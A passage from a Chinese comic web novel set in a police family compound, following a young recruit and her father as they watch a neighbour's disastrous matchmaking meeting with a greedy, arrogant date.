云婶子心情极好,多夸奖两句:“杜鹃你这一身可真精神,你要是找对象,那上杆子的人能从家属大院儿排到省城去。”
杜鹃噗噗噗的笑,调侃说:“云婶子,您可说少了,我爸都是说排队到首都长城。”
云婶子拍巴掌:“哎呦喂,我就忘了你爹是啥样人,哈哈哈哈,是他能说出来的。”
她说:“你维中哥可不如你,他的相亲,我们家那是十二万分的用心了。他真不好找啊,所以啊,这相亲可得好好搞起来,半分不能掉链子。啊不对,不对不对,还差个菜,我得搞八个菜。还少一个啊!我还得去换几个鸡蛋,行了,我先走了,这相亲马虎不得啊!”
云婶子来去匆匆的,杜鹃回头:“他家这周末相亲……”
杜国强一秒不停顿:“那我们这周不回乡下了,下周再回村里。”
他也是个好看热闹的。
杜鹃:“我看行!”
爷俩儿都是有热闹就能蹲二年看热闹的人。
这云婶子的儿子叫江维中,江维中今年二十八了,身高一米八,这个年代少见的大学生,长得也好,白净俊朗,家庭条件也不错。虽然不是独生子,但是父亲有工作,哥嫂有工作,他也有工作,哥嫂虽说有两个孩子,但是已经分家了,而且,孩子还小,没什么负担。
他家条件算是相当不错了,家里人也都是和气的老好人。
可是,凡事儿最怕有个可是!
要说云婶子为什么这么上杆子,他为啥找对象这么困难……
嗐,江维中样样都好,可就一点。
就一点啊!
他什么都好,可他工作让人望而却步啊!
他,江维中,是市局法医!
法医!
单单就这两个字儿,就一切尽在不言中了。
从他大学回来进入市局到现在也好几年了,年年相亲年年不成。
别说这干部家庭的姑娘,农村姑娘都不干啊!
不是不想攀高枝儿,真扛不住啊!
远近闻名的相亲老大难。
如今他相亲,杜鹃他们家别说回乡下了,就算是天大的事儿,都必须让步,必须让!
他们必须在场,谁不想看看!
杜鹃:“希望维中哥可以顺利。”
杜国强这些年也见得多了,不太抱希望,牙疼一样的滋了声,杜鹃:“爸!你这是干啥啊?”
杜国强:“有一种,不祥的预感……”
杜鹃:“憋胡说!”
杜国强继续龇牙:“条件这么好,为啥找江维中?”
杜鹃:“……”
她义正言辞:“维中哥咋了?多好一人啊。”
杜国强:“小屁孩儿,你懂什么。”
杜鹃瞪眼睛。
这邻居相亲,倒是让杜国强和杜鹃“忙活”个够呛,等到陈虎梅和陈虎两兄妹下班,爷俩儿还叭叭叭个没完呢。
不过吧。
杜国强:“……?”
隐隐约约,我好像忘记了什么事儿?
******
如临大敌的杜国伟谭晓娟夫妻等了半宿,人也没来,第二天顶着黑眼圈儿上班。
玛德玛德玛德,说不算话,说好了来找茬儿呢!
敲你妈!
人呢?
11.揽个活
杜鹃家住在公安家属院儿,前些年那一拨分房,基本上够条件的都申请了,所以他们这个大院儿,可以说是全市最安全的家属院了,毕竟,住的全是公安。
即便不是公安,也是各厂保卫科和其他类似职能的职工。
他们大院儿除了市局的,各个派出所的,铁路乘警,还有不少是各厂保卫科的。
大家虽然未必是一个系统,但是都有这个职能,市里批家属院的时候出于各方面考虑,跟各单位协调,都给他们安顿在一起了。
这会儿的保卫科跟几十年后完全不一样,这会儿的保卫科都是配枪的,虽说跟公安不同,但是又有一些公安的职能,像是一些厂子里的事儿,他们都是有权利处理的。
大概是因为他们大院儿太让人有安全感了,所以也有一些有关系有能耐的,分房的时候跟人置换,也搬了过来。
他们大院儿是十三栋楼,六楼顶,不过虽然是十三栋楼,但是格局不同,有的是一层六户,有的是一层十户,杜鹃姑娘他们家就是六户的这种,也是家属院儿内的最大面积户型。
这种户型是厕所和厨房都在家里,三室一厅一厨一卫一阳台。
这算是相当好的条件了,不过也不奇怪的,因为陈虎和杜国强他们在一个户口本上。陈虎虽然是公安局的厨子,但是他是正式职工的,将近三十年工龄了。
杜国强自己也十七八年的工龄,他媳妇儿陈虎梅是机械厂职工,也工作将近二十年了。
陈虎梅也没有在机械厂享受分房待遇,按照政策,他家就是可以选的很好。他家现在的户型是一百二十平,房子本身是三室一厅,但是杜国强装潢的时候又改了一下,多了一个家里囤货的仓库,不过就这,他家也是住的很宽敞的。
毕竟这是实打实的一百二十平呢。
其实他们家本来是有房子的,陈虎陈虎梅兄妹是老坐地户,跟杜国强这样乡下进城的不同,他们家有个民房。他家分了房,老房子就委托街道租赁出去了,这可没人能说出什么,毕竟,他家三个正式职工都没享受分房待遇呢。
按规定,陈虎其实还可以单独分房的。
杜国强和陈虎梅是一家子,有一个人享受了分房,另外一个人基本没戏了,但是陈虎其实是可以的。不过一家子住在一起住惯了,不想分开。
正好也住的更宽敞点,算起来他家肯定是吃亏一点的,但是也吃亏不多。
别看杜国强和陈虎梅双职工都将近二十年的工龄,那是从现在算,如果是分房那会儿,那会儿还是几年前,没那么多。如果按照那个算,他家分不到现在的面积。
陈虎跟他们一起算,那他们家就绰绰有余了。
所以有吃亏,但不多。
他家老房子是一个普通的民房,街道租给了三家,三家都是新婚小夫妻,结婚了家里住不开,才搬出来租房的。每户每月三块的房租。
这也有九块钱的收入。
这年头儿,房子也依旧很重要很重要,但是又跟几十年后不同。
很重要,但是没那么值钱。
杜国强有时候会习惯的用几十年后来换算一下,但是他十来岁就穿越了,现在都三十八了,也习惯现在的日子了,算个屁啊!不想那么多了!
别看他们家属院儿算是市里比较大的一个家属院儿了,但是事儿不算多的,毕竟,他们还是挺忙的。不过就算这样,也总是有那么几个格外活跃的。
毕竟,林子大了,什么鸟都有。
他们这一层就有个一言难尽的汪春艳,总是想着占便宜,毫不掩饰。
还有楼上找对象老大难的江维中,不过别看江维中是相亲老大难,但是给他介绍的人可多了,他们这一行难啊,找一个专业的法医更难。
这活儿也不是说不忌讳就能干,还要很强的专业能力。
江维中是婚姻路上的老大难,但是却是市局的香饽饽。
虽说给江维中介绍的人多的不得了,可是再多,也有难处啊。江维中读书早,二十一就大学毕业了,也在他们市局干了七年了。七年啊,这大妈大姐大姨手里的“人脉”再多,也没啥人介绍了啊。
从开始工人、干部、文工团,到现在村里丫头都介绍上了。
至今没有一个成功。
这好不容易最近有一个条件不错的,大院儿都轰动了,杜鹃他们家都忘了原本要干啥了。陈虎梅一回来就奔着云婶子他们家去了。回来的时候吩咐杜鹃:“你维中哥周末相亲,你哪儿也别去,就在大院儿门口蹲守,如果有人捣乱,就把人撵走。如果有人截胡儿也别客气。”
杜鹃眼睛睁的大大的:“啊?谁这么缺德啊,维中哥已经这么老大难了,还要为难他?”
陈虎梅也不高兴:“你维中哥这婚事的事儿太出名了,但凡都有相亲,就有来看热闹的,烦死个人。如果有人过来看热闹,你撵一撵,不然他们看热闹还哔哔赖赖的,跟捣乱有啥区别,女方听了对维中更没好感了。”
杜鹃敬礼:“保证完成任务。”
陈虎梅感叹:“维中这个老大难啊!真愁人。你芳兰婶子给你找了些小帮手,到时候跟着你巡逻。”
杜鹃:“好嘞!”
不得不说,就江维中相亲这个排面儿,一般人是不会有的,那就差全院儿总动员了。
果不其然,第二天上班,姜晨好奇的凑上前问:“江法医又要相亲了?”
别看他昨天还给杜鹃介绍具体情况,但是他实际上不是一个话多的人,惯常是安静的,这会儿也忍不住好奇了。
杜鹃:“你都知道了啊?”
陈晨:“我一大早就听说了。”
他来得晚,没赶上那波分房,不过因为他是少见的大学生毕业分配,这年头儿大学生金贵啊!现如今这高考暂停了,就更金贵了。如果不是高考暂停,杜鹃也不会接班,今年正好考大学的。
陈晨作为大学生,一来就能分房的,家属院没房子了,就给就近给他安排了一个,就在派出所后身,后门进,上班步行两分钟。所以他总是来的最早的。
局里也答应过他,但凡家属院有空房,第一时间给他置换,但是他来了两年半了,还是没空置房屋。
好在陈晨也不计较。
他难得的带了几分好奇,问:“这次相亲的是什么人?”
杜鹃警惕的看他,严肃的说:“你问这个干啥?想截胡儿?”
陈晨嘴角抽了下:“……”
他无奈的看着杜鹃,说:“你想多了,我就是好奇。”
他不是好奇心重的人,但是江法医的事儿,真是很难不好奇啊。
眼瞅着杜鹃还是警惕,他立刻撤
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退,惹不起。
杜鹃反应也快,立刻歉意的说:“对不起啊,我不该这么说,因为以前就有想要截胡儿的,所以我有点反应过度……”
陈晨:“没事!”
他没忍住,问:“这截胡,是怎么回事儿?”
杜鹃叭叭叭:“其实具体的我也不知道,是几年前的事儿,那会儿我还读初中呢,那会儿就有人想截胡儿,不过也没成。”
陈晨:“……”
陈晨好奇,其他人也好奇,不过上班时间,大家眼看工作时间到了,倒是不呱呱这些有的没的了,开始忙碌起来。昨天的小偷乌龙,还得继续处理呢。
昨天排查的是那个女同志的名字住处,今天就要继续调查老贵带走的自行车和收音机了。毕竟,他也不能扛着去唐山啊。
“走吧,继续忙!”
杜鹃:今天依旧是干劲儿十足的一天呢。
其实啊,张胖子他们都挺为杜鹃可惜的,如果不是正好今年高考停了,以杜鹃的成绩其实是能考上大学的,可惜,人是敌不过大形式的。
好在杜鹃是个心大的姑娘,没因为这个太伤心失落。
不过就算这样,大家也很照顾她了,既然进入了这一行,最好的照顾可不是护着她,而是让她知道的更多。所以张胖子带着几人出来,两两分组,也是他领着杜鹃,一天下来,杜鹃对各种情况知道的就更多。
其实不少杜鹃都清楚的,她爸虽然没有直接说过单位的事儿,但是潜移默化也教了她不少,杜鹃并不生疏。杜鹃知道张叔是好心的,嘴甜的很,也半点不马虎大意。
杜鹃工作笔记第三天,找到销赃的自行车和收音机,果然是老贵自己卖的,真是为爱痴狂啊!
“这可真是老房子着火,为了爱情亲儿子都不管了。”
杜鹃自言自语嘀嘀咕咕,不过她还是很快的适应了工作环境,派出所的工作,那是真不少的。要不说他们这一行,越是“重要”岗位越是不好找对象。
江维中不好找对象,市局刑侦口的同志也不太好找对象。
他们派出所,这已经算是很好啦!
作为邻里邻居的邻家大哥哥,杜鹃是要第一时间维护的,这不,一周很快的过去,很快就到了周末江维中相亲的日子。杜鹃一大早就被亲妈薅起来了,说:“你去外面巡逻。”
杜鹃:“哦。”
她揉着眼睛,麻溜儿的换衣服,夏天好热啊,知了叫个不停,杜鹃嘟嘟囔囔出来,早饭都摆在桌上了,有鸡蛋有粥,还有一个肉夹馍。
杜鹃将小米粥一口干了,又三两口的干掉鸡蛋。这才捏着肉夹馍出门,鸡胸肉炒过切成丝儿,放一点点辣椒,香中带着一点点辣味儿,很可口。
杜鹃一下楼,就看到楼下好几个半大孩子,男娃儿女娃儿都有,他们都是大院儿子弟,被家长安排来的,一个个的都蹲在楼道口呢,看到杜鹃,齐刷刷的站起来:“杜鹃姐!”
杜鹃一副大佬气质:“走,巡逻去!”
雄赳赳气昂昂!
保卫相亲,从我做起!
杜鹃昂首挺胸,大步流星!
谁也别想捣乱。
杜鹃领着一群半大的孩子奔着大门口,倒是没看见,不远处一个窗口,一个高个儿男青年盯着他们的身影,嗤了一声,嗖嗖嗖的下楼……
12.不对劲
“杜鹃,一大早的你这是干啥呢?”
“呦,杜鹃你这是做好事儿呢?好好干啊!”
“杜鹃你出来的可够早的啊?”
“这昨晚儿雨挺大的啊,门口都有点积水了……杜鹃你离水沟远点啊,遇见那不着调的溅你一身……”
杜鹃来到大门口做门神,路过的人少不得要打个招呼,也有不怀好意的,意味深长的说:“小杜鹃啊,你也不小了啊,什么时候找对象啊!我看实在不行你就嫁过去得了!”
杜鹃笑眯眯的:“孙婶子,我还未成年呢。我跟维中哥可是好兄妹,您这么说,不合适吧?”她带着几分开玩笑的说:“您这话要是让我妈听说了可要好好找您说道说道的。您这可比我妈还着急,赶明儿我让你妈找您取取经啊!不过说起来,你家菲姐年纪也不小了,有没有合适的啊?”
杜鹃虽然十八了,但是还没过生日呢,她是十月的生日。
哦,还是那句话,林子大了什么鸟都有,他们大院儿讨人厌的,也不是只有一个汪春艳。
这个孙大妈也是很烦人的,她跟王大妈,也就是汪春艳的老娘关系不错,就臭味相投!俩人都很看不上大院儿所有过的好的大姑娘小媳妇儿。
敌视漂亮姑娘,聪明的小媳妇儿。
跟孙大妈一起走裘大妈赶紧打圆场儿,说:“你听你孙大妈的,她就是昨晚没睡好,还迷糊着,糊涂呢!走走走,赶紧的,你不走快点,那新鲜的小菜可没有了。”
裘大妈拽了一把孙大妈,孙大妈有心想说什么,感觉胳膊一疼,擦!裘大妈也太使劲儿了。
“你赶紧的!”
拽人赶紧走。
这没事儿得罪人干什么,咋的?你能惹得起陈家兄妹还是能惹得起心眼多的杜国强?
这家子那是文武双全,没短板啊!
裘大妈给孙大妈拽走了,杜鹃冲孙大妈撇撇嘴,很快的视线落在另外一个人身上,这是住在前楼的胡相伟,杜鹃紧紧的盯住人。胡相伟却若无其事的推着车走了出去。
“相伟,今天不是周天?你这一大早就出去啊?”
胡相伟:“昂,我跟我对象去公园划船。”
“哎呦,还得是你们年轻人啊……”
早上人来人往,互相唠着。
杜鹃看胡相伟跟人寒暄,视线没别开。
胡相伟,男,二十五,他家是机械厂的,他爸是保卫科的,所以分房也安排在这边儿,据说这老头儿救过大人物,所以给他儿子安排到了机械厂车队。
胡大叔的两个儿子,都在车队。
这可是贼好的工作。
八大员,司机是顶顶吃香排在前边的,他们这种往外地走的,好处更是多多的。稍微捎带点东西,都是妥妥的油水儿。要说为啥杜鹃一下子就盯住胡相伟,那倒是因为旧事儿了。
四年前,那会儿胡相伟还没工作呢,这货相中了江维中的相亲对象,想要截胡儿江维中。要说相亲这回事儿,女同志如果没看上,那也没办法。但是还没见面呢,胡相伟就拦路截胡儿……这就不是个东西了。
因为这事儿,好些人去胡家要说法,胡大叔给胡相伟抽了一顿呢。也因为这个,胡家在大院儿的名声还很差,不太遭人待见。也是这些年胡相伟有了工作之后倒是变了,尊老爱幼,帮助贫困群众,大院儿谁家有事儿也是冲在第一线,做足了浪子回头姿态,大家的态度才渐渐变了。
日子久了,也没人揪着旧事儿了。
但是今天又是江维中相亲,杜鹃自然是要盯住了他的。
先头儿那个事儿,那会儿杜鹃还在读初中呢,知道的不多,不过她可是知道的,得防备这个老小子啊!别人都说胡相伟为人不坏,当年就是太年轻太想找媳妇儿,冲动了。
但是杜国强从来不这么想,他一直都说胡相伟如今不过就是装的。
杜鹃从不怀疑她爸的判断,就跟她从不怀疑她妈的武力一样。
而且吧,杜鹃自己也很不喜欢胡相伟这个人,同样是男同志,维中哥看人就是坦坦荡荡的,但是这人不是,他经常用黏腻的眼神儿偷偷看她。
也不仅仅是看她,也看其他女同志。
但是人多的时候,又装作一副正人君子老好人的样子。
这可不是她的错觉,嗐,就是那种不好言说的微妙感觉,杜鹃这人是很相信自己的直觉的,所以,不管从哪方面说,她都很不待见胡相伟这个人。
她瞅着胡相伟骑车离开,微微垂眸,总觉得有点不放心,她总觉得,这人有点刻意哎。
她也是个果断的性子,立刻招招手,跟几个小孩儿叮嘱了几句,抬脚就跟了上去。别看是大清早,但是今天可是星期天,路上人不少了。
杜鹃小跑儿跟到大马路上,就见胡相伟已经骑车走远了,杜鹃看着他挺远的身影,抿抿嘴,放心几分。她是怕这厮根本没走,在附近蹲守,然后捣乱呢。
她挠挠头,嘟囔:“是我想多了啊!难道我认定他不是好东西,就怎么看他都不顺眼?杜鹃啊,以后不能总是这么怀疑人呀。不好,太不好了!”
她自言自语。
就在杜鹃打算转头回去继续“巡逻”的时候,猛地,她看见胡相伟竟然停了车,他跟一个女人聊了起来。那女人从对面走过来,穿了一条白色的连衣裙,长发披肩,戴了一个红色的发箍。
也不知道胡相伟说了什么,那女人伸手掐了胡相伟的腰一下,跺跺脚。
胡相伟更是借着自行车的遮挡,拍了一下女同志的屁股。
杜鹃:“!!!”
啊这!
这这这,这不是他对象啊!
大人的世界都是这么复杂的嘛!
杜鹃是见过胡相伟的对象的,双方都已经正式见过家长,商量婚期了,自然是来过大院儿的,杜鹃也见过,这女同志,肯定不是他对象啊。
就这一出儿,说这两个人是清清白白的,她就算是十八还未成年,没见识过男女那点事儿,也坚决不能相信啊。
不过还不等杜鹃反应更多,那女人倒是不情不愿的说着什么,远远看着就不高兴,倒是胡相伟似乎说着好话儿哄人。杜鹃:亏得我这一双火眼金睛啊!
眼神儿好就是好!
她可是看的清清楚楚,啊呸!渣男!
两个人拉拉扯扯的,杜鹃心道她爸果然没有看错人,这个胡相伟果然不是什么好东西,这就……我的妈!
杜鹃正在心里碎碎念呢,一辆公交车路过,溅起一滩水——哗啦!
“啊啊啊,怎么开车的!瞎了吗?我的衣服啊!缺德啊!”
尖锐愤怒的叫骂声,响彻云霄。
杜鹃刚才还感叹离得
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远听不见,但是这会儿倒是听得一清二楚,她瞅了一眼,好好的白色连衣裙啊,全是泥点子!
就连胡相伟都没有幸免,杜鹃瞬间反应过来,胡相伟不能回头换衣服吧?她赶紧跑路,呼呼往回窜,大长腿,闪得快。杜鹃嗖嗖的窜回去,快的不得了。
“杜鹃姐,怎么了?”
杜鹃:“没事儿。”
她虽然觉得胡相伟不是什么好鸟儿,但是也没说对外讲人家的事儿。
她领着几个小孩儿,溜溜哒哒的,抻着脖子往巷子口张望,胡相伟竟然没回来换衣服哦!杜鹃溜达溜达,又溜达溜达……怎么人还没来啊?
“杜鹃。”
杜鹃回头,见是林婶子,她问:“你云婶子让我过来看看,看人到了没,这是还没到啊?”
杜鹃摇头:“没有呢。”
她心里,隐隐约约的有些不好的预感。
难不成女方不来了?
她可怜的江维中大哥啊!
这相亲之路怎么这么坎坷啊!
“这人没来,咋媒婆儿也没来,真是的,哪有这么办事儿的,说好了九点的,现在都九点半了。”
杜鹃劝说:“可能有事儿迟了一点,我们再……哎哎哎,来了!咋就一个人啊?”
杜鹃看到媒婆儿了,不过就她一个人。
媒婆儿走的一头汗,急匆匆的,林婶子赶紧迎上去,问:“花媒婆儿,怎么就你一个人啊?女方呢?这还没见就不乐意了?”
花媒婆儿:“大妹子你别担心,不是这个事儿,刚才来的时候,女方让车溅了一身泥点子,你说这相亲谁不想留个好印象,哪能这么见人,这不,我让女方回家换衣服了。你们且等等。咱相亲啊,自然是希望事儿成的,你说对不?你看我这一头汗,我就怕你们这误会啊!紧赶慢赶的!”
林婶子松了一口气:“没事儿就好,那行,你不用担心,我跟云大姐说。这孩子们能见上就好。昨个儿晚上下雨了,路是不太好啊!”
杜鹃在一旁竖着耳朵呢,她不动声色的说:“该是回家换衣服的,这要是穿个深色的还好,要是穿个白的,那可真是……”
花媒婆儿一拍大腿,说:“谁说不是呢,女方就是穿了一条白色的连衣裙啊!你说这嚯嚯的啊……”
杜鹃:完了!
要完要完!
她笑眯眯继续问:“那女方好看吗?长发短发啊?”
“一头长发,戴个红发箍,人可水灵了,个子是娇小了些,但是女人家不用太高,好看就成,正好小鸟依人……”花媒婆儿:“你这姑娘倒是个大高个儿,你找对象了么?我花媒婆儿可是……”
林婶子幽幽:“陈虎梅闺女。”
花媒婆儿一秒跟有人掐了嗓子一样,不言语了:“呵呵,呵呵呵!”
不敢提了。
杜鹃:“……?”
我妈这么有名的吗?
不过,这不重要!
重要的是,花媒婆儿说的这个女同志,怎么那么像刚才那个拍屁股啊!
她垂垂首,随即抬头笑眯眯的说:“你们聊着,我去跟云婶子说吧。”
“行啊,你腿长跑的快,你去吧。你云婶子可着急了。”
杜鹃:“嗯嗯。”
我知道云婶子着急,但是,先别急,有敌情,危!
13.相亲局(上)
“来了来了!女同志来了。”
“让一让,都让一让。”
江维中相亲,楼上楼下都是人,就连小区里遛弯儿的都变多了。
女方跟着媒婆儿花婶子两个人一起上楼,家家户户都开着门,明目张胆的站在门口看热闹。相亲姑娘有些不虞的蹙眉,不过很快的抿抿嘴,敛下神色。
她跟在媒婆儿身后,头微微低着,但是眼睛却微眯起来抬眼看人。那股子劲儿,看着怪怪的不好形容。
杜鹃也缩在自家门口,一见女方容貌,她悬着的心终于死了。
好么!
果然是她!
不好的预感成真了!
拍屁股姐!
杜鹃立刻看向站在楼上阶梯的她爸,杜国强接触到闺女的眼神儿,父女两个眼神儿瞬间对上,接受到信号儿了啊。
“你还别说,这姑娘长得挺好看的,多大岁数啊?看着也不像是岁数大。”
“她跟维中还是挺相配的,这次要是能成可就太好了。”
“那谁说不是呢?郎才女貌的。”
“走,上楼看看。”
……
大家好奇的跟着过去看热闹,杜鹃挤呀挤,林婶子回头看到小杜鹃惦着脚尖儿的好奇样儿,说:“去去去,你一个小孩儿看什么,回家去,这里没你的事儿。”
杜鹃黑线:“……”
这老邻居就是这点不好啊,甭管多大,在大家眼里,你就是个小孩儿。
虽说他们这边家属院没几年,但是早先他们住在旧房子那边的时候,那一片儿也都是公安局分房。所以好些个都是旧邻居的,也都是看着杜鹃长大的。
“你一个小孩儿相亲这种事儿还轮不到你,别在这儿瞎挤。”
“就是,小杜鹃你赶紧回家去吧,你还小,别看这个。”
“是啊是啊。”
杜鹃:“…………………………………………”
这都工作了啊,咋没人把她当大人啊。
杜鹃很快的给自己辩解:“我都十八了,也得看看多学学啊!不然以后我相亲都没有经验。”
几个老大妈大婶子上下打量一下杜鹃,杜鹃昂首挺胸。
大家看看她小平板儿的身材,高是高,跟个长颈鹿似的,小短发乌溜溜儿的大眼睛,脸颊竟然还有点婴儿肥,瞬间一个个别开视线:“切~就是个小孩儿。”
“可不,就跟个小搓衣板一样。”
“可不,哪有什么胸,挺也没有啊!这没点本钱,以后养娃儿可咋整。”
“她还小,没发育好呢……”
“也对。”
“你才多大就相亲,你相亲早着呢,去去去。回家去。别搁这儿添乱。”
……
杜鹃瞬间大大的无语,更加不服气了,哎不是,你们怎么回事儿,你们这些大妈大婶子怎么回事儿,谁搓衣板啊!这不是笑话人吗?她明明很不错了啊。
“我不小!”
“那你也回家!”
“就是,这是你这小孩儿的局儿吗?吃席都坐小孩儿那桌儿,还搁这儿充大人。”
“哎,你说这次维中相亲成了,他家席面能怎么搞?他家条件可不差了。这老小儿结婚,不得好好搞一搞?”
“那必须的啊!”
杜鹃站在外围跳脚,啥也看不见,这些人哎,真是堵得严严实实,过分,太过分了。
喏,这住楼房和住平房就是不一样,她家以前住平房的时候,谁家有热闹,她仗着腿长个子高,咋的都能看见呢。现在不成了啊,都在楼道里这么一挤,好难!
杜鹃根本抢不过这些“身经百战”的“老麻雀”啊。
她还搁这儿奋战呢,屋里已经开始正式的相亲了。
男方就是他们大院儿的相亲老大难江维中,江维中一看面相,长得是真的不赖的,就这个年头儿比较讨喜的国字脸。说出去叫那叫英俊小伙儿。
他坐在椅子上,低着头,不知道想些什么。
女方坐在对面儿,她回家换了一身,但是换了也还是一身白色的连衣裙,就是款式有点不同了。她坐在椅子上,没什么笑面儿。
花媒婆儿还是第一次看见这么“腼腆”的两个人,她经手的相亲的可多了,紧张的也不老少,但是就算紧张也是红着脸偷看几眼啊。但是这俩人倒是都面色如常。
只是,不开口。
花媒婆儿赶紧说:“哎呦,你看,我就说你们般配吧?这性格都差不多,腼腆。来来,我给你们介绍介绍。这是江维中,是公安局法医,大学毕业生,可是个有文化的能耐人,月工资九十多呢,可没几个比得上他的。”
提到月工资九十多,女方的表情好了不少,抿着嘴看了一眼江维中,江维中依旧低着头,开始摆弄火柴棍儿了。
花媒婆儿:“……”
你这样怎么找对象!你个老小子!
她立刻继续笑呵呵的介绍:“这个女同志姓白,白晚秋,晚秋同志是高中毕业生,今年二十四,前年进入电影院,负责卖票,就在咱这片儿呢,你要是乐意看电影,肯定见过她。我是觉得你们双方郎才女貌十分般配,才想着撺掇撺掇,牵个线儿,这也是个好姻缘。你们聊聊,你们聊聊吧。”
这会儿江维中终于抬头了,他看向了白晚秋。
恰好白晚秋也看向了江维中,她脸色微微有几分红润,不过很快扬了扬下巴。
“江维中同志是吧?我相中你了,你觉得我怎么样?”不等江维中说话,她又说:“你要是能答应我的条件,我们明天就能去领结婚证。你是在市局做法医的吧?我们结婚之后,你必须要换个工作,我可不想整天对着一个摆弄尸体的人,晦气。再一个,我家是干部家庭,我家条件挺好的,这你知道的吧?如果要结婚,就不能丢了我家的脸面,我想你家也是要脸面的,对吧?我要的也不多,三转一响,那是一定要有的。三十六条腿儿也是一定要有的。我是城里姑娘,可不是乡下那种给个五块十块彩礼就能打发的,彩礼你意思意思,给666吧。取个六六大顺。这样我家你家都好看,也说得过去。衣服我要两套,这马上就是秋天了,必须有一套是秋装,我都要大红色。一双凉鞋一双小皮鞋是要配的。我有个小姐妹结婚的时候用了大红纱巾,可好看了,你得准备一条,听说是沪市那边产的,你买我们本地的便宜货不行啊。”
白晚秋侃侃而谈,惊得门口看热闹的都目瞪
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口呆。
江维中也看着白晚秋,有几分愣神儿。
白晚秋并不觉得自己要的多,她要的才不多呢,她都知道的,江维中家条件很好的,他一个月九十多的工资,都工作六七年了。他本人也没什么爱好和花销,不抽烟不喝酒工作穿制服也不用买衣服,那手里最起码有大几千啊。这手里这么多钱,结婚花个千把块钱,她不信他不舍得。
她可知道,这人找对象且困难着呢。农村姑娘都不干,她家这个条件,便宜他了。
更不要说,既然儿子都要结婚了,做父母的不表示表示?
她现在要的这些,都是洒洒水毛毛雨啦!
谁让江维中找不到对象呢。
这找到她,是他的荣幸。
她心下得意,继续说:“我们结了婚,你爸妈怎么办?总不能跟我们一起住吧?你是小儿子,这做父母的不是都跟着长子住吗?可没听说谁家老两口是跟着小儿子生活,让你父母搬到你大哥家吧。咱们新婚小夫妻好好过日子,这家倒是挺大的……”
她环视一周:“我侄子侄女儿在家住不开倒是可以过来住,反正这么大的地方,我们也住不过来。”
白晚秋巴拉巴拉的说到现在,周围鸦雀无声。
花媒婆儿都愣住了,她,花媒婆儿,从业数十年,正经媒婆儿,从解放前干到解放后,第一次遇见这种狮子大开口的。
没见过啊!
她遇见那心肠歹毒卖闺女的,都没要这么多钱。
呃,呸呸!
她干了这么多年,可是很有职业道德的。她这会儿也尴尬了,赶紧补救说:“你这姑娘要的也太多了,这哪能这么谈,你看谁家相亲这么狮子大开口,这……”
“我要的多什么了!我条件也是很好的,我就算是找别人,也能开的出这个条件。”她昂着头,觉得就算她要求的高了点,这呆头呆脑的呆头鹅也肯定能被拿下。
没看吗?
他看着她,都看呆了。
再说,白晚秋对自己的长相还是很有自信的。
她可是有福气的长相,身材也好,追求者可不少的,如果不是因为江维中住在这个大院儿,又赚的多,她才看不上他呢。真是想一想都晦气。
她嫌弃的瞥了江维中一眼,说:“我要的这些,一个也不能少!”
她这一出儿,惊呆了江家人,惊呆了媒婆儿,也惊呆了围观群众,刚才被“镇住”安静下来的大伙儿很快的嗡嗡嗡的窃窃私语起来,没见过,真是没见过这么狮子大开口的啊!
云婶子跟江大叔老两口好半天才反应过来,两个人都不可置信的看着眼前的姑娘,觉得脑子嗡嗡的,这要不是两个人都是有素质的,他娘的都要骂人了。
“你……”云婶子深深的吸了一口气,正要说点什么。
江维中倒是开口了:“我没看上你。”
从开始到现在,他就说了这么一句话,但是这一句话,现场又安静了。
杜鹃在楼梯的下层跳呀跳的,看不见听不见的,只能听大家的议论,她小声问:“咋又安静了,咋又安静了啊?你们也让我听听啊!”
她提供的消息啊,这咋连第一手的瓜都吃不上了?
14.相亲局(下)
“你说什么!”白晚秋尖锐的叫了出来,睁大眼,惊愕的看向江维中,叫:“你没看上我?你凭什么看不上我?你是个什么东西,也配看不上我?”
她猛地站起来,脾气很大的一拍桌子。
江维中倒是依旧淡定,说:“相亲不就是你相我,我相你吗?看不上有什么不对的。我觉得我们不合适。”
白晚秋怒道:“你一个整天跟尸体打交道的人,我还没嫌弃你,你有什么脸面嫌弃我。”她深吸一口气,说:“我知道,我知道你是觉得自己的工作不好,你自卑觉得配不上我,但是你不能说的这么绕,你直接说……”
“人家可没这么说,你倒是能自说自话,真会给自己脸上贴金。”门外传来杜国强的嘀咕。
“可不是,人家一个月工资九十多,又是读过大学的,还配不上你,你咋脸这么大!”又有人附和了一句,很不待见白晚秋这个态度。
“你就冲你这个嚣张跋扈自说自话的劲儿,我也看不上你。”
“天爷啊,这家里要是没有个金山银山还真是娶不起她啊。满江桦市打算听打听,都没见过要这么多的。”
门口你一言我一语的。
这可不是大家要掺和别人家的相亲,可真是看不下去了。
他们江桦市还没听说过这么狮子大开口的相亲,还要六六六,这么高的彩礼也说得出口!这不是欺负人吗?江维中是个老实人,但是他们这邻里邻居的可不能看着他受欺负。
哪有这样的。
所以杜国强一开口,就让大家打开了话匣子。
几个女同志更是不客气,林婶子问:“花媒婆儿,你哪儿找来这么个姑娘啊,咱可没见过这么贪的。”
“就是啊,哎妈呀,人家没看中都不行,这还拍桌子了。这给她能的。”
“这姑娘父母没跟着来相亲,是不是就是知道她什么德行,怕丢脸啊?”
“所以说找对象可不能因为着急就盲目啊,不然那遇到啥样的可真是不好说。”
白晚秋气的不行,指着门口的人,叉腰就骂:“这里有你们什么事儿?都说宁拆一座庙不拆一桩婚,你们这做邻居的怎么这么缺德。不帮着好好圆着牵线儿,还要挑拨,我看你们就不是什么好东西。”
“啊呸,你这丫头怎么说话的?你什么意思?兴着你狮子大开口,不兴我们说一说了?咋的?相亲就是一局定生死,见了面就必须娶你啊!你以为你是谁啊!”
“就是啊,还帮着牵线儿,但凡是个厚道人都不能给你们牵线儿,你这不是找对象,你是想找个冤大头啊。”
“我们不是好东西?你是个好东西你跟鬼子进村一样什么都要?你也不看看你配不配!”
这干仗这种事儿,一般人可怼不过身经百战的大妈们。
白晚秋想要骂人都抢不上话,她气的不行,回头怒视花媒婆儿:“你看看,你看看你介绍的这是什么人。你是媒婆儿,是我这边的,一切都是你的错,你就看着她们这些人这么欺负我?你对得起我们家吗?”
花媒婆儿无语了:“你这咋还怨上我了,算了算了,这局儿不行,不行就不行吧,我们先走吧。下一次我再给你介绍别人。”
没有别人了。
以后你的生意,我是怎么都不会接了,你这不是找对象,你这是擎等着得罪人啊。
花媒婆儿:“我们先走……”
“不行!”白晚秋尖锐的叫,说:“我不走,我明明都看中了!凭啥就不行。”
“不是,你这闺女怎么想的啊?你是看中了,人家没看中你啊!”花媒婆儿真是无语了。
